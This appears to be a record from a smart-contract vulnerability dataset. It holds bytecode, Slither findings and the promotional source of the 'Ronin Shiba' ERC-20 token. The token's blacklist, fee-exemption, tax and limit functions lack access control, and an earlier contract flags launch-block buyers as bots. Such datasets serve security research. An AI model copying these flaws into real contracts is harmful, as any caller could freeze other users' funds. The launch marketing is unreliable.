565b6109b4565b34801561045657600080fd5b50610203610465366004611acc565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049c57600080fd5b506101706104ab366004611b05565b610c0f565b3480156104bc57600080fd5b506101706104cb366004611aaf565b610c85565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104fa90611b1e565b60405180910390fd5b600061050e306106ba565b905061051981610d1d565b50565b6000610529338484610e97565b5060015b92915050565b6000610540848484610fbb565b610592843361058d85604051806060016040528060288152602001611c99602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d6565b610e97565b5060019392505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b81526004016104fa90611b1e565b60005b815181101561062e576000600560008484815181106105ea576105ea611b53565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062681611b7f565b9150506105c9565b5050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104fa90611b1e565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062e573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052d90611410565b6000546001600160a01b031633146107065760405162461bcd60e51b81526004016104fa90611b1e565b6107106000611494565b565b6000546001600160a01b0316331461073c5760405162461bcd60e51b81526004016104fa90611b1e565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610529338484610fbb565b6000546001600160a01b031633146107c35760405162461bcd60e51b81526004016104fa90611b1e565b60005b815181101561062e57600c5482516001600160a01b03909116908390839081106107f2576107f2611b53565b60200260200101516001600160a01b0316141580156108435750600b5482516001600160a01b039091169083908390811061082f5761082f611b53565b60200260200101516001600160a01b031614155b156108a05760016005600084848151811061086057610860611b53565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108aa81611b7f565b9150506107c6565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016104fa90611b1e565b600c54600160a01b900460ff166109405760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fa565b600c805460ff60b81b1916600160b81b17905542600d81905561096490603c611b9a565b600e55565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016104fa90611b1e565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016104fa90611b1e565b600c54600160a01b900460ff1615610a465760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fa565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac19190611bb2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b329190611bb2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190611bb2565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c395760405162461bcd60e51b81526004016104fa90611b1e565b600f811115610c805760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104fa565b600855565b6000546001600160a01b03163314610caf5760405162461bcd60e51b81526004016104fa90611b1e565b6001600160a01b038116610d145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fa565b61051981611494565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6557610d65611b53565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de29190611bb2565b81600181518110610df557610df5611b53565b6001600160a01b039283166020918202929092010152600b54610e1b9130911684610e97565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e54908590600090869030904290600401611bcf565b600060405180830381600087803b158015610e6e57600080fd5b505af1158015610e82573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fa565b6001600160a01b038216610f5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fa565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fa565b6001600160a01b0382166110815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fa565b600081116110e35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fa565b6001600160a01b03831660009081526005602052604090205460ff161561118b5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fa565b6001600160a01b03831660009081526004602052604081205460ff161580156111cd57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e35750600c54600160a81b900460ff16155b80156112135750600c546001600160a01b03858116911614806112135750600c546001600160a01b038481169116145b156113c457600c54600160b81b900460ff166112715760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fa565b50600c546001906001600160a01b0385811691161480156112a05750600b546001600160a01b03848116911614155b80156112ad575042600e54115b156112f45760006112bd846106ba565b90506112dd60646112d7670de0b6b3a764000060036114e4565b90611563565b6112e784836115a5565b11156112f257600080fd5b505b600d54421415611322576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132d306106ba565b600c54909150600160b01b900460ff161580156113585750600c546001600160a01b03868116911614155b156113c25780156113c257600c5461138c906064906112d790600f90611386906001600160a01b03166106ba565b906114e4565b8111156113b957600c546113b6906064906112d790600f90611386906001600160a01b03166106ba565b90505b6113c281610d1d565b505b6113d084848484611604565b50505050565b600081848411156113fa5760405162461bcd60e51b81526004016104fa91906118ed565b5060006114078486611c40565b95945050505050565b60006006548211156114775760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fa565b6000611481611707565b905061148d8382611563565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f35750600061052d565b60006114ff8385611c57565b90508261150c8583611c76565b1461148d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fa565b600061148d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061172a565b6000806115b28385611b9a565b90508381101561148d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fa565b808061161257611612611758565b60008060008061162187611774565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164e90856117bb565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167d90846115a5565b6001600160a01b03891660009081526001602052604090205561169f816117fd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e491815260200190565b60405180910390a3505050508061170057611700600954600855565b5050505050565b6000806000611714611847565b90925090506117238282611563565b9250505090565b6000818361174b5760405162461bcd60e51b81526004016104fa91906118ed565b5060006114078486611c76565b60006008541161176757600080fd5b6008805460095560009055565b60008060008060008061178987600854611887565b915091506000611797611707565b90506000806117a78a85856118b4565b909b909a5094985092965092945050505050565b600061148d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d6565b6000611807611707565b9050600061181583836114e4565b3060009081526001602052604090205490915061183290826115a5565b30600090815260016020526040902055505050565b6006546000908190670de0b6b3a76400006118628282611563565b82101561187e57505060065492670de0b6b3a764000092509050565b90939092509050565b6000808061189a60646112d787876114e4565b905060006118a886836117bb565b96919550909350505050565b600080806118c286856114e4565b905060006118d086866114e4565b905060006118de83836117bb565b92989297509195505050505050565b600060208083528351808285015260005b8181101561191a578581018301518582016040015282016118fe565b8181111561192c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051957600080fd5b803561196281611942565b919050565b6000806040838503121561197a57600080fd5b823561198581611942565b946020939093013593505050565b6000806000606084860312156119a857600080fd5b83356119b381611942565b925060208401356119c381611942565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119fd57600080fd5b823567ffffffffffffffff80821115611a1557600080fd5b818501915085601f830112611a2957600080fd5b813581811115611a3b57611a3b6119d4565b8060051b604051601f19603f83011681018181108582111715611a6057611a606119d4565b604052918252848201925083810185019188831115611a7e57600080fd5b938501935b82851015611aa357611a9485611957565b84529385019392850192611a83565b98975050505050505050565b600060208284031215611ac157600080fd5b813561148d81611942565b60008060408385031215611adf57600080fd5b8235611aea81611942565b91506020830135611afa81611942565b809150509250929050565b600060208284031215611b1757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9357611b93611b69565b5060010190565b60008219821115611bad57611bad611b69565b500190565b600060208284031215611bc457600080fd5b815161148d81611942565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1f5784516001600160a01b031683529383019391830191600101611bfa565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5257611c52611b69565b500390565b6000816000190483118215151615611c7157611c71611b69565b500290565b600082611c9357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d07d8cadffe92d59e2e1b0b2226cf0d957d0e63274760a6d8cc2bdc1b1d1e9aa64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,108
0xe621c8b7d39765a059f8e594d221f16ff79e7c19
//SPDX-License-Identifier: MIT /** 👹 WELCOME TO Ronin Shiba (ROSHIB) 👹 Ronin Shiba is a genuine shiba inu from Japan. After learning the martial arts from Musaki clan, he started his journey as a Ronin. STEALTH LAUNCH TODAY 🚀 👹 📊 TOKENOMICS 📊 🟢 Total Supply : 88000000 🟢 Transaction Tax : 8% 👹 3% Reflections 👹 2% Liquidity Pool 👹 2% Marketing 🚀 Max Tx: 440000 🚀 Max Buy: 0.5% 🚀 Max Wallet: 2% 🚀 Initial Liquidity Pool: 5 ETH 👹 Telegram : https://t.me/roninshiba 👹 Website: https://roninshiba.com/ 👹 Twitter: https://twitter.com/roninshiba **/ pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=8; uint256 constant TOTAL_SUPPLY=88000000; string constant TOKEN_SYMBOL="ROSHIB"; string constant TOKEN_NAME="Ronin Shiba"; uint8 constant DECIMALS=8; uint256 constant TAX_THRESHOLD=1000000000000000000; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract RoninShiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _taxFee; address payable private _taxWallet; uint256 public _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(200); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); } require(!bots[from] && !bots[to], "This account is blacklisted"); uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function burn(uint256 percentage) public onlyOwner{ require(_balance[address(this)]>0,"Nothing to burn"); uint256 burnAmount=_balance[address(this)].div(100).mul(percentage); _tokenTransfer(address(this),0x0000000000000000000000000000000000000001, burnAmount,0); } function addToWhitelist(address buyer) public { _isExcludedFromFee[buyer]=true; } function removeFromWhitelist(address buyer) public { _isExcludedFromFee[buyer]=false; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function lowerTax(uint256 newTaxRate) public { require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function removeBuyLimit() public { _maxTxAmount=_tTotal; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function blockBots(address[] memory bots_) public { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public { bots[notbot] = false; } function createUniswapPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function swapForTax() public{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function collectTax() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x60806040526004361061014e5760003560e01c8063715018a6116100b6578063a9059cbb1161006f578063a9059cbb146103ff578063bfd792841461041f578063d49b55d61461044f578063dd62ed3e14610464578063e43252d7146104aa578063e8078d94146104e957600080fd5b8063715018a6146103215780637d1db4a5146103365780638ab1d6811461034c5780638da5cb5b1461038857806395d89b41146103b05780639e752b95146103df57600080fd5b80633d8705ab116101085780633d8705ab1461024d5780633e07ce5b1461026257806342966c681461027a5780634a1316721461029a5780636b999053146102af57806370a08231146102eb57600080fd5b8062b8cf2a1461015a57806306fdde031461017c578063095ea7b3146101c257806318160ddd146101f257806323b872dd14610211578063313ce5671461023157600080fd5b3661015557005b600080fd5b34801561016657600080fd5b5061017a61017536600461145e565b6104fe565b005b34801561018857600080fd5b5060408051808201909152600b81526a526f6e696e20536869626160a81b60208201525b6040516101b99190611523565b60405180910390f35b3480156101ce57600080fd5b506101e26101dd366004611578565b61056a565b60405190151581526020016101b9565b3480156101fe57600080fd5b506006545b6040519081526020016101b9565b34801561021d57600080fd5b506101e261022c3660046115a4565b610581565b34801561023d57600080fd5b50604051600881526020016101b9565b34801561025957600080fd5b5061017a6105ea565b34801561026e57600080fd5b5061017a600654600955565b34801561028657600080fd5b5061017a6102953660046115e5565b6105f7565b3480156102a657600080fd5b5061017a6106af565b3480156102bb57600080fd5b5061017a6102ca3660046115fe565b6001600160a01b03166000908152600560205260409020805460ff19169055565b3480156102f757600080fd5b506102036103063660046115fe565b6001600160a01b031660009081526002602052604090205490565b34801561032d57600080fd5b5061017a610949565b34801561034257600080fd5b5061020360095481565b34801561035857600080fd5b5061017a6103673660046115fe565b6001600160a01b03166000908152600460205260409020805460ff19169055565b34801561039457600080fd5b506000546040516001600160a01b0390911681526020016101b9565b3480156103bc57600080fd5b506040805180820190915260068152652927a9a424a160d11b60208201526101ac565b3480156103eb57600080fd5b5061017a6103fa3660046115e5565b6109bd565b34801561040b57600080fd5b506101e261041a366004611578565b6109cf565b34801561042b57600080fd5b506101e261043a3660046115fe565b60056020526000908152604090205460ff1681565b34801561045b57600080fd5b5061017a6109dc565b34801561047057600080fd5b5061020361047f36600461161b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104b657600080fd5b5061017a6104c53660046115fe565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b3480156104f557600080fd5b5061017a6109f5565b60005b81518110156105665760016005600084848151811061052257610522611654565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061055e81611680565b915050610501565b5050565b6000610577338484610b58565b5060015b92915050565b600061058e848484610c7c565b6105e084336105db8560405180606001604052806028815260200161181f602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610fe3565b610b58565b5060019392505050565b476105f48161101d565b50565b6000546001600160a01b0316331461062a5760405162461bcd60e51b81526004016106219061169b565b60405180910390fd5b306000908152600260205260409020546106785760405162461bcd60e51b815260206004820152600f60248201526e2737ba3434b733903a3790313ab93760891b6044820152606401610621565b3060009081526002602052604081205461069f908390610699906064610b0f565b90611057565b90506105663060018360006110d6565b6000546001600160a01b031633146106d95760405162461bcd60e51b81526004016106219061169b565b600b54600160a01b900460ff16156107335760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610621565b600a546006546107509130916001600160a01b0390911690610b58565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c791906116d0565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d91906116d0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561089a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108be91906116d0565b600b80546001600160a01b0319166001600160a01b03928316908117909155600a5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610925573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f491906116ed565b6000546001600160a01b031633146109735760405162461bcd60e51b81526004016106219061169b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600881106109ca57600080fd5b600755565b6000610577338484610c7c565b306000908152600260205260409020546105f4816111da565b6000546001600160a01b03163314610a1f5760405162461bcd60e51b81526004016106219061169b565b600a546001600160a01b031663f305d7194730610a51816001600160a01b031660009081526002602052604090205490565b600080610a666000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ace573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610af3919061170f565b5050600b805462ff00ff60a01b19166201000160a01b17905550565b6000610b5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611354565b9392505050565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b15610f8257600b546001600160a01b038481169116148015610e005750600a546001600160a01b03838116911614155b8015610e2557506001600160a01b03821660009081526004602052604090205460ff16155b15610e7c57600954811115610e7c5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610621565b6001600160a01b03831660009081526005602052604090205460ff16158015610ebe57506001600160a01b03821660009081526005602052604090205460ff16155b610f0a5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c697374656400000000006044820152606401610621565b30600090815260026020526040902054600b54600160a81b900460ff16158015610f425750600b546001600160a01b03858116911614155b8015610f575750600b54600160b01b900460ff165b15610f8057610f65816111da565b47670de0b6b3a76400008110610f7e57610f7e4761101d565b505b505b6001600160a01b038216600090815260046020526040902054610fde9084908490849060ff1680610fcb57506001600160a01b03871660009081526004602052604090205460ff165b610fd7576007546110d6565b60006110d6565b505050565b600081848411156110075760405162461bcd60e51b81526004016106219190611523565b506000611014848661173d565b95945050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610566573d6000803e3d6000fd5b6000826110665750600061057b565b60006110728385611754565b90508261107f8583611773565b14610b515760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b60006110ed60646110e78585611057565b90610b0f565b905060006110fb8483611382565b6001600160a01b0387166000908152600260205260409020549091506111219085611382565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461115090826113c4565b6001600160a01b03861660009081526002602052604080822092909255308152205461117c90836113c4565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600b805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122257611222611654565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561127b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129f91906116d0565b816001815181106112b2576112b2611654565b6001600160a01b039283166020918202929092010152600a546112d89130911684610b58565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611311908590600090869030904290600401611795565b600060405180830381600087803b15801561132b57600080fd5b505af115801561133f573d6000803e3d6000fd5b5050600b805460ff60a81b1916905550505050565b600081836113755760405162461bcd60e51b81526004016106219190611523565b5060006110148486611773565b6000610b5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fe3565b6000806113d18385611806565b905083811015610b515760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105f457600080fd5b803561145981611439565b919050565b6000602080838503121561147157600080fd5b823567ffffffffffffffff8082111561148957600080fd5b818501915085601f83011261149d57600080fd5b8135818111156114af576114af611423565b8060051b604051601f19603f830116810181811085821117156114d4576114d4611423565b6040529182528482019250838101850191888311156114f257600080fd5b938501935b82851015611517576115088561144e565b845293850193928501926114f7565b98975050505050505050565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b81811115611562576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561158b57600080fd5b823561159681611439565b946020939093013593505050565b6000806000606084860312156115b957600080fd5b83356115c481611439565b925060208401356115d481611439565b929592945050506040919091013590565b6000602082840312156115f757600080fd5b5035919050565b60006020828403121561161057600080fd5b8135610b5181611439565b6000806040838503121561162e57600080fd5b823561163981611439565b9150602083013561164981611439565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116945761169461166a565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156116e257600080fd5b8151610b5181611439565b6000602082840312156116ff57600080fd5b81518015158114610b5157600080fd5b60008060006060848603121561172457600080fd5b8351925060208401519150604084015190509250925092565b60008282101561174f5761174f61166a565b500390565b600081600019048311821515161561176e5761176e61166a565b500290565b60008261179057634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117e55784516001600160a01b0316835293830193918301916001016117c0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118195761181961166a565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f